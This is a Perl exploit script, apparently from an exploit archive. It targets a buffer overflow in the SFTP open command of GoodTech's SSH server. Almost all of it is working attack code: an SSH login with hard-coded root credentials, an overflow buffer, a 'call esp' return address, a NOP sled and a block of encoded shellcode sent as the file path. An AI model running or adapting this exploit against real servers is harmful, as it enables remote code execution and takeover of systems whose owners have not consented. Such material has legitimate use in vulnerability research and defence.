goodtechssh-overflow.txt

`# GoodTech SSH Remote Buffer Overflow Exploit  
# Written by r0ut3r - writ3r [at] gmail.com  
#  
# SSH_FXP_OPEN command contains a buffer oveflow.   
#  
# All other operations are also vulnerable, opendir, unlink, etc.   
  
use Net::SSH2;  
  
my $user = "root";  
my $pass = "yahh";  
  
my $ip = "127.0.0.1";  
my $port = 22;  
  
my $ssh2 = Net::SSH2->new();  
  
print "[+] Connecting...\n";  
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";  
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";  
print "[+] Sending payload\n";  
  
my $junk = 'A'x164;  
my $eip = "\x49\x13\x9c\x7c"; #call esp  
my $nops = "\x90"x20;  
  
my $shellcode =   
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x33".  
"\x2e\x9c\x0e\x83\xeb\xfc\xe2\xf4\xcf\x44\x77\x43\xdb\xd7\x63\xf1".  
"\xcc\x4e\x17\x62\x17\x0a\x17\x4b\x0f\xa5\xe0\x0b\x4b\x2f\x73\x85".  
"\x7c\x36\x17\x51\x13\x2f\x77\x47\xb8\x1a\x17\x0f\xdd\x1f\x5c\x97".  
"\x9f\xaa\x5c\x7a\x34\xef\x56\x03\x32\xec\x77\xfa\x08\x7a\xb8\x26".  
"\x46\xcb\x17\x51\x17\x2f\x77\x68\xb8\x22\xd7\x85\x6c\x32\x9d\xe5".  
"\x30\x02\x17\x87\x5f\x0a\x80\x6f\xf0\x1f\x47\x6a\xb8\x6d\xac\x85".  
"\x73\x22\x17\x7e\x2f\x83\x17\x4e\x3b\x70\xf4\x80\x7d\x20\x70\x5e".  
"\xcc\xf8\xfa\x5d\x55\x46\xaf\x3c\x5b\x59\xef\x3c\x6c\x7a\x63\xde".  
"\x5b\xe5\x71\xf2\x08\x7e\x63\xd8\x6c\xa7\x79\x68\xb2\xc3\x94\x0c".  
"\x66\x44\x9e\xf1\xe3\x46\x45\x07\xc6\x83\xcb\xf1\xe5\x7d\xcf\x5d".  
"\x60\x7d\xdf\x5d\x70\x7d\x63\xde\x55\x46\x8d\x52\x55\x7d\x15\xef".  
"\xa6\x46\x38\x14\x43\xe9\xcb\xf1\xe5\x44\x8c\x5f\x66\xd1\x4c\x66".  
"\x97\x83\xb2\xe7\x64\xd1\x4a\x5d\x66\xd1\x4c\x66\xd6\x67\x1a\x47".  
"\x64\xd1\x4a\x5e\x67\x7a\xc9\xf1\xe3\xbd\xf4\xe9\x4a\xe8\xe5\x59".  
"\xcc\xf8\xc9\xf1\xe3\x48\xf6\x6a\x55\x46\xff\x63\xba\xcb\xf6\x5e".  
"\x6a\x07\x50\x87\xd4\x44\xd8\x87\xd1\x1f\x5c\xfd\x99\xd0\xde\x23".  
"\xcd\x6c\xb0\x9d\xbe\x54\xa4\xa5\x98\x85\xf4\x7c\xcd\x9d\x8a\xf1".  
"\x46\x6a\x63\xd8\x68\x79\xce\x5f\x62\x7f\xf6\x0f\x62\x7f\xc9\x5f".  
"\xcc\xfe\xf4\xa3\xea\x2b\x52\x5d\xcc\xf8\xf6\xf1\xcc\x19\x63\xde".  
"\xb8\x79\x60\x8d\xf7\x4a\x63\xd8\x61\xd1\x4c\x66\xdc\xe0\x7c\x6e".  
"\x60\xd1\x4a\xf1\xe3\x2e\x9c\x0e";  
  
my $payload = $junk.$eip.$nops.$shellcode;  
  
my $sftp = $ssh2->sftp();  
$sftp->open($payload);  
  
print "[+] Sent";  
$ssh2->disconnect;  
`